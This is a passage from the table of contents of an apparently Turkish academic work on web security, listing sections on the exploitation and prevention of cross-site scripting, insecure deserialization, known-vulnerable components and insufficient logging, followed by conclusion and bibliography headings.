	2.7.1 Siteler Arası Komut Çalıştırma Zafiyetinin İstismarı
	2.7.2 Siteler Arası Komut Çalıştırma Zafiyetinin Önlenmesi

	2.8 GÜVENLİK DESERİALİZASYON
	2.8.1 Serileştirme ve Deserializasyon
	2.8.2 Güvensiz Deserializasyon Zafiyetinin İstismarı
	2.8.3 Güvensiz Deserializasyon Zafiyetinin Önlenmesi

	2.9 BİLİNEN GÜVENLİK AÇIĞINA SAHİP BİLEŞENLERİ
	2.9.1 Bilinen Güvenlik Açığı Zafiyeti İstismarı
	2.9.2 Bilinen Güvenlik Açığı Zafiyeti Önlenmesi

	2.10 YETERSİZ LOGLAMA ve İZLEME
	2.10.1  Kaba Kuvvet Saldırısı
	2.10.2  Yetersiz Loglama ve İzleme İstismarı
	2.10.3  Yetersiz Loglama ve İzlemenin Önlenmesi

	3 SONUÇ
	4 KAYNAKÇA

